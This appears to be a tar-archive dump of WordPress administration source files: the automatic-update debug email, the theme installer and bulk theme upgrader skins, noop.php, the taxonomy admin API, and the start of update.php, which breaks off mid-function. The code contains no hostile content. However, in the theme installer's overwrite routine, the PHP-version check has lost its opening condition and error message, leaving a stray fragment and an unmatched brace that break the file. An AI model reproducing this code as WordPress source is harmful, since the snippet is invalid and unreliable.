		$failures = 0;

/* translators: %s: Network home URL. */
		$body[] = sprintf( __( 'WordPress site: %s' ), network_home_url( '/' ) );

// Core.
		if ( isset( $this->update_results['core'] ) ) {
			$result = $this->update_results['core'][0];
			if ( $result->result && ! is_wp_error( $result->result ) ) {
				/* translators: %s: WordPress version. */
				$body[] = sprintf( __( 'SUCCESS: WordPress was successfully updated to %s' ), $result->name );
			} else {
				/* translators: %s: WordPress version. */
				$body[] = sprintf( __( 'FAILED: WordPress failed to update to %s' ), $result->name );
				$failures++;
			}
			$body[] = '';
		}

// Plugins, Themes, Translations.
		foreach ( array( 'plugin', 'theme', 'translation' ) as $type ) {
			if ( ! isset( $this->update_results[ $type ] ) ) {
				continue;
			}
			$success_items = wp_list_filter( $this->update_results[ $type ], array( 'result' => true ) );
			if ( $success_items ) {
				$messages = array(
					'plugin'      => __( 'The following plugins were successfully updated:' ),
					'theme'       => __( 'The following themes were successfully updated:' ),
					'translation' => __( 'The following translations were successfully updated:' ),
				);

$body[] = $messages[ $type ];
				foreach ( wp_list_pluck( $success_items, 'name' ) as $name ) {
					/* translators: %s: Name of plugin / theme / translation. */
					$body[] = ' * ' . sprintf( __( 'SUCCESS: %s' ), $name );
				}
			}
			if ( $success_items != $this->update_results[ $type ] ) {
				// Failed updates.
				$messages = array(
					'plugin'      => __( 'The following plugins failed to update:' ),
					'theme'       => __( 'The following themes failed to update:' ),
					'translation' => __( 'The following translations failed to update:' ),
				);

$body[] = $messages[ $type ];
				foreach ( $this->update_results[ $type ] as $item ) {
					if ( ! $item->result || is_wp_error( $item->result ) ) {
						/* translators: %s: Name of plugin / theme / translation. */
						$body[] = ' * ' . sprintf( __( 'FAILED: %s' ), $item->name );
						$failures++;
					}
				}
			}
			$body[] = '';
		}

$site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES );
		if ( $failures ) {
			$body[] = trim(
				__(
					"BETA TESTING?
=============

This debugging email is sent when you are using a development version of WordPress.

If you think these failures might be due to a bug in WordPress, could you report it?
 * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta
 * Or, if you're comfortable writing a bug report: https://core.trac.wordpress.org/

Thanks! -- The WordPress Team"
				)
			);
			$body[] = '';

/* translators: Background update failed notification email subject. %s: Site title. */
			$subject = sprintf( __( '[%s] Background Update Failed' ), $site_title );
		} else {
			/* translators: Background update finished notification email subject. %s: Site title. */
			$subject = sprintf( __( '[%s] Background Update Finished' ), $site_title );
		}

$body[] = trim(
			__(
				'UPDATE LOG
=========='
			)
		);
		$body[] = '';

foreach ( array( 'core', 'plugin', 'theme', 'translation' ) as $type ) {
			if ( ! isset( $this->update_results[ $type ] ) ) {
				continue;
			}
			foreach ( $this->update_results[ $type ] as $update ) {
				$body[] = $update->name;
				$body[] = str_repeat( '-', strlen( $update->name ) );
				foreach ( $update->messages as $message ) {
					$body[] = '  ' . html_entity_decode( str_replace( '&#8230;', '...', $message ) );
				}
				if ( is_wp_error( $update->result ) ) {
					$results = array( 'update' => $update->result );
					// If we rolled back, we want to know an error that occurred then too.
					if ( 'rollback_was_required' === $update->result->get_error_code() ) {
						$results = (array) $update->result->get_error_data();
					}
					foreach ( $results as $result_type => $result ) {
						if ( ! is_wp_error( $result ) ) {
							continue;
						}

if ( 'rollback' === $result_type ) {
							/* translators: 1: Error code, 2: Error message. */
							$body[] = '  ' . sprintf( __( 'Rollback Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
						} else {
							/* translators: 1: Error code, 2: Error message. */
							$body[] = '  ' . sprintf( __( 'Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
						}

if ( $result->get_error_data() ) {
							$body[] = '         ' . implode( ', ', (array) $result->get_error_data() );
						}
					}
				}
				$body[] = '';
			}
		}

$email = array(
			'to'      => get_site_option( 'admin_email' ),
			'subject' => $subject,
			'body'    => implode( "\n", $body ),
			'headers' => '',
		);

/**
		 * Filters the debug email that can be sent following an automatic
		 * background core update.
		 *
		 * @since 3.8.0
		 *
		 * @param array $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                           can be returned, as handled by wp_mail().
		 *     @type string $subject Email subject.
		 *     @type string $body    Email message body.
		 *     @type string $headers Any email headers. Default empty.
		 * }
		 * @param int   $failures The number of failures encountered while upgrading.
		 * @param mixed $results  The results of all attempted updates.
		 */
		$email = apply_filters( 'automatic_updates_debug_email', $email, $failures, $this->update_results );

wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-theme-installer-skin.php����������������������������������������������������������������������0000604�����������������00000030250�15075125355�0012423 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: Theme_Installer_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Theme Installer Skin for the WordPress Theme Installer.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Theme_Installer_Skin extends WP_Upgrader_Skin {
	public $api;
	public $type;
	public $url;
	public $overwrite;

private $is_downgrading = false;

/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'type'      => 'web',
			'url'       => '',
			'theme'     => '',
			'nonce'     => '',
			'title'     => '',
			'overwrite' => '',
		);
		$args     = wp_parse_args( $args, $defaults );

$this->type      = $args['type'];
		$this->url       = $args['url'];
		$this->api       = isset( $args['api'] ) ? $args['api'] : array();
		$this->overwrite = $args['overwrite'];

parent::__construct( $args );
	}

/**
	 * Action to perform before installing a theme.
	 *
	 * @since 2.8.0
	 */
	public function before() {
		if ( ! empty( $this->api ) ) {
			$this->upgrader->strings['process_success'] = sprintf(
				$this->upgrader->strings['process_success_specific'],
				$this->api->name,
				$this->api->version
			);
		}
	}

/**
	 * Hides the `process_failed` error when updating a theme by uploading a zip file.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error $wp_error WP_Error.
	 * @return bool
	 */
	public function hide_process_failed( $wp_error ) {
		if (
			'upload' === $this->type &&
			'' === $this->overwrite &&
			$wp_error->get_error_code() === 'folder_exists'
		) {
			return true;
		}

return false;
	}

/**
	 * Action to perform following a single theme install.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		if ( $this->do_overwrite() ) {
			return;
		}

if ( empty( $this->upgrader->result['destination_name'] ) ) {
			return;
		}

$theme_info = $this->upgrader->theme_info();
		if ( empty( $theme_info ) ) {
			return;
		}

$name       = $theme_info->display( 'Name' );
		$stylesheet = $this->upgrader->result['destination_name'];
		$template   = $theme_info->get_template();

$activate_link = add_query_arg(
			array(
				'action'     => 'activate',
				'template'   => urlencode( $template ),
				'stylesheet' => urlencode( $stylesheet ),
			),
			admin_url( 'themes.php' )
		);
		$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );

$install_actions = array();

if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
			$customize_url = add_query_arg(
				array(
					'theme'  => urlencode( $stylesheet ),
					'return' => urlencode( admin_url( 'web' === $this->type ? 'theme-install.php' : 'themes.php' ) ),
				),
				admin_url( 'customize.php' )
			);

$install_actions['preview'] = sprintf(
				'<a href="%s" class="hide-if-no-customize load-customize">' .
				'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
				esc_url( $customize_url ),
				__( 'Live Preview' ),
				/* translators: %s: Theme name. */
				sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name )
			);
		}

$install_actions['activate'] = sprintf(
			'<a href="%s" class="activatelink">' .
			'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
			esc_url( $activate_link ),
			__( 'Activate' ),
			/* translators: %s: Theme name. */
			sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $name )
		);

if ( is_network_admin() && current_user_can( 'manage_network_themes' ) ) {
			$install_actions['network_enable'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				esc_url( wp_nonce_url( 'themes.php?action=enable&amp;theme=' . urlencode( $stylesheet ), 'enable-theme_' . $stylesheet ) ),
				__( 'Network Enable' )
			);
		}

if ( 'web' === $this->type ) {
			$install_actions['themes_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'theme-install.php' ),
				__( 'Return to Theme Installer' )
			);
		} elseif ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) ) {
			$install_actions['themes_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'themes.php' ),
				__( 'Return to Themes page' )
			);
		}

if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() || ! current_user_can( 'switch_themes' ) ) {
			unset( $install_actions['activate'], $install_actions['preview'] );
		} elseif ( get_option( 'template' ) === $stylesheet ) {
			unset( $install_actions['activate'] );
		}

/**
		 * Filters the list of action links available following a single theme installation.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $install_actions Array of theme action links.
		 * @param object   $api             Object containing WordPress.org API theme data.
		 * @param string   $stylesheet      Theme directory name.
		 * @param WP_Theme $theme_info      Theme object.
		 */
		$install_actions = apply_filters( 'install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info );
		if ( ! empty( $install_actions ) ) {
			$this->feedback( implode( ' | ', (array) $install_actions ) );
		}
	}

/**
	 * Check if the theme can be overwritten and output the HTML for overwriting a theme on upload.
	 *
	 * @since 5.5.0
	 *
	 * @return bool Whether the theme can be overwritten and HTML was outputted.
	 */
	private function do_overwrite() {
		if ( 'upload' !== $this->type || ! is_wp_error( $this->result ) || 'folder_exists' !== $this->result->get_error_code() ) {
			return false;
		}

$folder = $this->result->get_error_data( 'folder_exists' );
		$folder = rtrim( $folder, '/' );

$current_theme_data = false;
		$all_themes         = wp_get_themes( array( 'errors' => null ) );

foreach ( $all_themes as $theme ) {
			$stylesheet_dir = wp_normalize_path( $theme->get_stylesheet_directory() );

if ( rtrim( $stylesheet_dir, '/' ) !== $folder ) {
				continue;
			}

$current_theme_data = $theme;
		}

$new_theme_data = $this->upgrader->new_theme_data;

if ( ! $current_theme_data || ! $new_theme_data ) {
			return false;
		}

echo '<h2 class="update-from-upload-heading">' . esc_html( __( 'This theme is already installed.' ) ) . '</h2>';

// Check errors for current theme.
		if ( is_wp_error( $current_theme_data->errors() ) ) {
			$this->feedback( 'current_theme_has_errors', $current_theme_data->errors()->get_error_message() );
		}

$this->is_downgrading = version_compare( $current_theme_data['Version'], $new_theme_data['Version'], '>' );

$is_invalid_parent = false;
		if ( ! empty( $new_theme_data['Template'] ) ) {
			$is_invalid_parent = ! in_array( $new_theme_data['Template'], array_keys( $all_themes ), true );
		}

$rows = array(
			'Name'        => __( 'Theme name' ),
			'Version'     => __( 'Version' ),
			'Author'      => __( 'Author' ),
			'RequiresWP'  => __( 'Required WordPress version' ),
			'RequiresPHP' => __( 'Required PHP version' ),
			'Template'    => __( 'Parent theme' ),
		);

$table  = '<table class="update-from-upload-comparison"><tbody>';
		$table .= '<tr><th></th><th>' . esc_html( __( 'Current' ) ) . '</th><th>' . esc_html( __( 'Uploaded' ) ) . '</th></tr>';

$is_same_theme = true; // Let's consider only these rows.

foreach ( $rows as $field => $label ) {
			$old_value = $current_theme_data->display( $field, false );
			$old_value = $old_value ? (string) $old_value : '-';

$new_value = ! empty( $new_theme_data[ $field ] ) ? (string) $new_theme_data[ $field ] : '-';

if ( $old_value === $new_value && '-' === $new_value && 'Template' === $field ) {
				continue;
			}

$is_same_theme = $is_same_theme && ( $old_value === $new_value );

$diff_field     = ( 'Version' !== $field && $new_value !== $old_value );
			$diff_version   = ( 'Version' === $field && $this->is_downgrading );
			$invalid_parent = false;

if ( 'Template' === $field && $is_invalid_parent ) {
				$invalid_parent = true;
				$new_value     .= ' ' . __( '(not found)' );
			}

$table .= '<tr><td class="name-label">' . $label . '</td><td>' . wp_strip_all_tags( $old_value ) . '</td>';
			$table .= ( $diff_field || $diff_version || $invalid_parent ) ? '<td class="warning">' : '<td>';
			$table .= wp_strip_all_tags( $new_value ) . '</td></tr>';
		}

$table .= '</tbody></table>';

/**
		 * Filters the compare table output for overwriting a theme package on upload.
		 *
		 * @since 5.5.0
		 *
		 * @param string $table              The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
		 * @param array  $current_theme_data Array with current theme data.
		 * @param array  $new_theme_data     Array with uploaded theme data.
		 */
		echo apply_filters( 'install_theme_overwrite_comparison', $table, $current_theme_data, $new_theme_data );

$install_actions = array();
		$can_update      = true;

$blocked_message  = '<p>' . esc_html( __( 'The theme cannot be updated due to the following:' ) ) . '</p>';
		$blocked_message .= '<ul class="ul-disc">';

$requires_php = isset( $new_theme_data['RequiresPHP'] ) ? $new_theme_data['RequiresPHP'] : null;
		$requires_wp  = isset( $new_theme_data['RequiresWP'] ) ? $new_theme_data['RequiresWP'] : null;

$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded theme. */
				__( 'Your WordPress version is %1$s, however the uploaded theme requires %2$s.' ),
				get_bloginfo( 'version' ),
				$requires_wp
			);

$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

$blocked_message .= '</ul>';

if ( $can_update ) {
			if ( $this->is_downgrading ) {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are uploading an older version of a current theme. You can continue to install the older version, but be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/support/article/wordpress-backups/' )
				);
			} else {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are updating a theme. Be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/support/article/wordpress-backups/' )
				);
			}

echo '<p class="update-from-upload-notice">' . $warning . '</p>';

$overwrite = $this->is_downgrading ? 'downgrade-theme' : 'update-theme';

$install_actions['overwrite_theme'] = sprintf(
				'<a class="button button-primary update-from-upload-overwrite" href="%s" target="_parent">%s</a>',
				wp_nonce_url( add_query_arg( 'overwrite', $overwrite, $this->url ), 'theme-upload' ),
				__( 'Replace current with uploaded' )
			);
		} else {
			echo $blocked_message;
		}

$cancel_url = add_query_arg( 'action', 'upload-theme-cancel-overwrite', $this->url );

$install_actions['themes_page'] = sprintf(
			'<a class="button" href="%s" target="_parent">%s</a>',
			wp_nonce_url( $cancel_url, 'theme-upload-cancel-overwrite' ),
			__( 'Cancel and go back' )
		);

/**
		 * Filters the list of action links available following a single theme installation
		 * failure when overwriting is allowed.
		 *
		 * @since 5.5.0
		 *
		 * @param string[] $install_actions Array of theme action links.
		 * @param object   $api             Object containing WordPress.org API theme data.
		 * @param array    $new_theme_data  Array with uploaded theme data.
		 */
		$install_actions = apply_filters( 'install_theme_overwrite_actions', $install_actions, $this->api, $new_theme_data );

if ( ! empty( $install_actions ) ) {
			printf(
				'<p class="update-from-upload-expired hidden">%s</p>',
				__( 'The uploaded file has expired. Please go back and upload it again.' )
			);
			echo '<p class="update-from-upload-actions">' . implode( ' ', (array) $install_actions ) . '</p>';
		}

return true;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-bulk-theme-upgrader-skin.php������������������������������������������������������������������0000604�����������������00000004073�15075125355�0013176 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: Bulk_Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Bulk Theme Upgrader Skin for WordPress Theme Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Bulk_Theme_Upgrader_Skin extends Bulk_Upgrader_Skin {
	public $theme_info = array(); // Theme_Upgrader::bulk_upgrade() will fill this in.

public function add_strings() {
		parent::add_strings();
		/* translators: 1: Theme name, 2: Number of the theme, 3: Total number of themes being updated. */
		$this->upgrader->strings['skin_before_update_header'] = __( 'Updating Theme %1$s (%2$d/%3$d)' );
	}

/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		parent::before( $this->theme_info->display( 'Name' ) );
	}

/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		parent::after( $this->theme_info->display( 'Name' ) );
		$this->decrement_update_count( 'theme' );
	}

/**
	 */
	public function bulk_footer() {
		parent::bulk_footer();

$update_actions = array(
			'themes_page'  => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'themes.php' ),
				__( 'Return to Themes page' )
			),
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Return to WordPress Updates page' )
			),
		);

if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) ) {
			unset( $update_actions['themes_page'] );
		}

/**
		 * Filters the list of action links available following bulk theme updates.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $update_actions Array of theme action links.
		 * @param WP_Theme $theme_info     Theme object for the last-updated theme.
		 */
		$update_actions = apply_filters( 'update_bulk_theme_complete_actions', $update_actions, $this->theme_info );

if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������noop.php��������������������������������������������������������������������������������������������0000604�����������������00000002076�15075125355�0006241 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Noop functions for load-scripts.php and load-styles.php.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * @ignore
 */
function __() {}

/**
 * @ignore
 */
function _x() {}

/**
 * @ignore
 */
function add_filter() {}

/**
 * @ignore
 */
function esc_attr() {}

/**
 * @ignore
 */
function apply_filters() {}

/**
 * @ignore
 */
function get_option() {}

/**
 * @ignore
 */
function is_lighttpd_before_150() {}

/**
 * @ignore
 */
function add_action() {}

/**
 * @ignore
 */
function did_action() {}

/**
 * @ignore
 */
function do_action_ref_array() {}

/**
 * @ignore
 */
function get_bloginfo() {}

/**
 * @ignore
 */
function is_admin() {
	return true;}

/**
 * @ignore
 */
function site_url() {}

/**
 * @ignore
 */
function admin_url() {}

/**
 * @ignore
 */
function home_url() {}

/**
 * @ignore
 */
function includes_url() {}

/**
 * @ignore
 */
function wp_guess_url() {}

function get_file( $path ) {

$path = realpath( $path );

if ( ! $path || ! @is_file( $path ) ) {
		return '';
	}

return @file_get_contents( $path );
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������taxonomy.php����������������������������������������������������������������������������������������0000604�����������������00000017452�15075125355�0007150 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Taxonomy Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

//
// Category.
//

/**
 * Check whether a category exists.
 *
 * @since 2.0.0
 *
 * @see term_exists()
 *
 * @param int|string $cat_name Category name.
 * @param int        $parent   Optional. ID of parent term.
 * @return mixed
 */
function category_exists( $cat_name, $parent = null ) {
	$id = term_exists( $cat_name, 'category', $parent );
	if ( is_array( $id ) ) {
		$id = $id['term_id'];
	}
	return $id;
}

/**
 * Get category object for given ID and 'edit' filter context.
 *
 * @since 2.0.0
 *
 * @param int $id
 * @return object
 */
function get_category_to_edit( $id ) {
	$category = get_term( $id, 'category', OBJECT, 'edit' );
	_make_cat_compat( $category );
	return $category;
}

/**
 * Add a new category to the database if it does not already exist.
 *
 * @since 2.0.0
 *
 * @param int|string $cat_name
 * @param int        $parent
 * @return int|WP_Error
 */
function wp_create_category( $cat_name, $parent = 0 ) {
	$id = category_exists( $cat_name, $parent );
	if ( $id ) {
		return $id;
	}

return wp_insert_category(
		array(
			'cat_name'        => $cat_name,
			'category_parent' => $parent,
		)
	);
}

/**
 * Create categories for the given post.
 *
 * @since 2.0.0
 *
 * @param string[] $categories Array of category names to create.
 * @param int      $post_id    Optional. The post ID. Default empty.
 * @return int[] Array of IDs of categories assigned to the given post.
 */
function wp_create_categories( $categories, $post_id = '' ) {
	$cat_ids = array();
	foreach ( $categories as $category ) {
		$id = category_exists( $category );
		if ( $id ) {
			$cat_ids[] = $id;
		} else {
			$id = wp_create_category( $category );
			if ( $id ) {
				$cat_ids[] = $id;
			}
		}
	}

if ( $post_id ) {
		wp_set_post_categories( $post_id, $cat_ids );
	}

return $cat_ids;
}

/**
 * Updates an existing Category or creates a new Category.
 *
 * @since 2.0.0
 * @since 2.5.0 $wp_error parameter was added.
 * @since 3.0.0 The 'taxonomy' argument was added.
 *
 * @param array $catarr {
 *     Array of arguments for inserting a new category.
 *
 *     @type int        $cat_ID               Category ID. A non-zero value updates an existing category.
 *                                            Default 0.
 *     @type string     $taxonomy             Taxonomy slug. Default 'category'.
 *     @type string     $cat_name             Category name. Default empty.
 *     @type string     $category_description Category description. Default empty.
 *     @type string     $category_nicename    Category nice (display) name. Default empty.
 *     @type int|string $category_parent      Category parent ID. Default empty.
 * }
 * @param bool  $wp_error Optional. Default false.
 * @return int|object The ID number of the new or updated Category on success. Zero or a WP_Error on failure,
 *                    depending on param $wp_error.
 */
function wp_insert_category( $catarr, $wp_error = false ) {
	$cat_defaults = array(
		'cat_ID'               => 0,
		'taxonomy'             => 'category',
		'cat_name'             => '',
		'category_description' => '',
		'category_nicename'    => '',
		'category_parent'      => '',
	);
	$catarr       = wp_parse_args( $catarr, $cat_defaults );

if ( '' === trim( $catarr['cat_name'] ) ) {
		if ( ! $wp_error ) {
			return 0;
		} else {
			return new WP_Error( 'cat_name', __( 'You did not enter a category name.' ) );
		}
	}

$catarr['cat_ID'] = (int) $catarr['cat_ID'];

// Are we updating or creating?
	$update = ! empty( $catarr['cat_ID'] );

$name        = $catarr['cat_name'];
	$description = $catarr['category_description'];
	$slug        = $catarr['category_nicename'];
	$parent      = (int) $catarr['category_parent'];
	if ( $parent < 0 ) {
		$parent = 0;
	}

if ( empty( $parent )
		|| ! term_exists( $parent, $catarr['taxonomy'] )
		|| ( $catarr['cat_ID'] && term_is_ancestor_of( $catarr['cat_ID'], $parent, $catarr['taxonomy'] ) ) ) {
		$parent = 0;
	}

$args = compact( 'name', 'slug', 'parent', 'description' );

if ( $update ) {
		$catarr['cat_ID'] = wp_update_term( $catarr['cat_ID'], $catarr['taxonomy'], $args );
	} else {
		$catarr['cat_ID'] = wp_insert_term( $catarr['cat_name'], $catarr['taxonomy'], $args );
	}

if ( is_wp_error( $catarr['cat_ID'] ) ) {
		if ( $wp_error ) {
			return $catarr['cat_ID'];
		} else {
			return 0;
		}
	}
	return $catarr['cat_ID']['term_id'];
}

/**
 * Aliases wp_insert_category() with minimal args.
 *
 * If you want to update only some fields of an existing category, call this
 * function with only the new values set inside $catarr.
 *
 * @since 2.0.0
 *
 * @param array $catarr The 'cat_ID' value is required. All other keys are optional.
 * @return int|bool The ID number of the new or updated Category on success. Zero or FALSE on failure.
 */
function wp_update_category( $catarr ) {
	$cat_ID = (int) $catarr['cat_ID'];

if ( isset( $catarr['category_parent'] ) && ( $cat_ID == $catarr['category_parent'] ) ) {
		return false;
	}

// First, get all of the original fields.
	$category = get_term( $cat_ID, 'category', ARRAY_A );
	_make_cat_compat( $category );

// Escape data pulled from DB.
	$category = wp_slash( $category );

// Merge old and new fields with new fields overwriting old ones.
	$catarr = array_merge( $category, $catarr );

return wp_insert_category( $catarr );
}

//
// Tags.
//

/**
 * Check whether a post tag with a given name exists.
 *
 * @since 2.3.0
 *
 * @param int|string $tag_name
 * @return mixed
 */
function tag_exists( $tag_name ) {
	return term_exists( $tag_name, 'post_tag' );
}

/**
 * Add a new tag to the database if it does not already exist.
 *
 * @since 2.3.0
 *
 * @param int|string $tag_name
 * @return array|WP_Error
 */
function wp_create_tag( $tag_name ) {
	return wp_create_term( $tag_name, 'post_tag' );
}

/**
 * Get comma-separated list of tags available to edit.
 *
 * @since 2.3.0
 *
 * @param int    $post_id
 * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
 * @return string|bool|WP_Error
 */
function get_tags_to_edit( $post_id, $taxonomy = 'post_tag' ) {
	return get_terms_to_edit( $post_id, $taxonomy );
}

/**
 * Get comma-separated list of terms available to edit for the given post ID.
 *
 * @since 2.8.0
 *
 * @param int    $post_id
 * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
 * @return string|bool|WP_Error
 */
function get_terms_to_edit( $post_id, $taxonomy = 'post_tag' ) {
	$post_id = (int) $post_id;
	if ( ! $post_id ) {
		return false;
	}

$terms = get_object_term_cache( $post_id, $taxonomy );
	if ( false === $terms ) {
		$terms = wp_get_object_terms( $post_id, $taxonomy );
		wp_cache_add( $post_id, wp_list_pluck( $terms, 'term_id' ), $taxonomy . '_relationships' );
	}

if ( ! $terms ) {
		return false;
	}
	if ( is_wp_error( $terms ) ) {
		return $terms;
	}
	$term_names = array();
	foreach ( $terms as $term ) {
		$term_names[] = $term->name;
	}

$terms_to_edit = esc_attr( join( ',', $term_names ) );

/**
	 * Filters the comma-separated list of terms available to edit.
	 *
	 * @since 2.8.0
	 *
	 * @see get_terms_to_edit()
	 *
	 * @param string $terms_to_edit A comma-separated list of term names.
	 * @param string $taxonomy      The taxonomy name for which to retrieve terms.
	 */
	$terms_to_edit = apply_filters( 'terms_to_edit', $terms_to_edit, $taxonomy );

return $terms_to_edit;
}

/**
 * Add a new term to the database if it does not already exist.
 *
 * @since 2.8.0
 *
 * @param string $tag_name The term name.
 * @param string $taxonomy Optional. The taxonomy within which to create the term. Default 'post_tag'.
 * @return array|WP_Error
 */
function wp_create_term( $tag_name, $taxonomy = 'post_tag' ) {
	$id = term_exists( $tag_name, $taxonomy );
	if ( $id ) {
		return $id;
	}

return wp_insert_term( $tag_name, $taxonomy );
}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update.php������������������������������������������������������������������������������������������0000604�����������������00000102107�15075125355�0006544 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Administration Update API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Selects the first update version from the update_core option.
 *
 * @since 2.7.0
 *
 * @return object|array|false The response from the API on success, false on failure.
 */
function get_preferred_from_update_core() {
	$updates = get_core_updates();
	if ( ! is_array( $updates ) ) {
		return false;
	}
	if ( empty( $updates ) ) {
		return (object) array( 'response' => 'latest' );
	}
	return $updates[0];
}

/**
 * Gets available core updates.
 *
 * @since 2.7.0
 *
 * @param array $options Set $options['dismissed'] to true to show dismissed upgrades too,
 *                       set $options['available'] to false to skip not-dismissed updates.
 * @return array|false Array of the update objects on success, false on failure.
 */
function get_core_updates( $options = array() ) {
	$options   = array_merge(
		array(
			'available' => true,
			'dismissed' => false,
		),
		$options
	);
	$dismissed = get_site_option( 'dismissed_update_core' );

if ( ! is_array( $dismissed ) ) {
		$dismissed = array();
	}

$from_api = get_site_transient( 'update_core' );

if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) ) {
		return false;
	}

$updates = $from_api->updates;
	$result  = array();
	foreach ( $updates as $update ) {
		if ( 'autoupdate' === $update->response ) {
			continue;
		}

if ( array_key_exists( $update->current . '|' . $update->locale, $dismissed ) ) {
			if ( $options['dismissed'] ) {
				$update->dismissed = true;
				$result[]          = $update;
			}
		} else {
			if ( $options['available'] ) {
				$update->dismissed = false;
				$result[]          = $update;
			}
		}
	}
	return $result;
}

/**
 * Gets the best available (and enabled) Auto-Update for WordPress core.
 *
 * If there's 1.2.3 and 1.3 on offer, it'll choose 1.3 if the installation allows it, else, 1.2.3.
 *
 * @since 3.7.0
 *
 * @return object|false The core update offering on success, false on failure.
 */
function find_core_auto_update() {
	$updates = get_site_transient( 'update_core' );
	if ( ! $updates || empty( $updates->updates ) ) {
		return false;
	}

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

$auto_update = false;
	$upgrader    = new WP_Automatic_Updater;
	foreach ( $updates->updates as $update ) {
		if ( 'autoupdate' !== $update->response ) {
			continue;
		}

if ( ! $upgrader->should_update( 'core', $update, ABSPATH ) ) {
			continue;
		}

if ( ! $auto_update || version_compare( $update->current, $auto_update->current, '>' ) ) {
			$auto_update = $update;
		}
	}
	return $auto_update;
}

/**
 * Gets and caches the checksums for the given version of WordPress.
 *
 * @since 3.7.0
 *
 * @param string $version Version string to query.
 * @param string $locale  Locale to query.
 * @return array|false An array of checksums on success, false on failure.
 */
function get_core_checksums( $version, $locale ) {
	$http_url = 'http://api.wordpress.org/core/checksums/1.0/?' . http_build_query( compact( 'version', 'locale' ), null, '&' );
	$url      = $http_url;

$ssl = wp_http_supports( array( 'ssl' ) );
	if ( $ssl ) {
		$url = set_url_scheme( $url, 'https' );
	}

$options = array(
		'timeout' => wp_doing_cron() ? 30 : 3,
	);

$response = wp_remote_get( $url, $options );
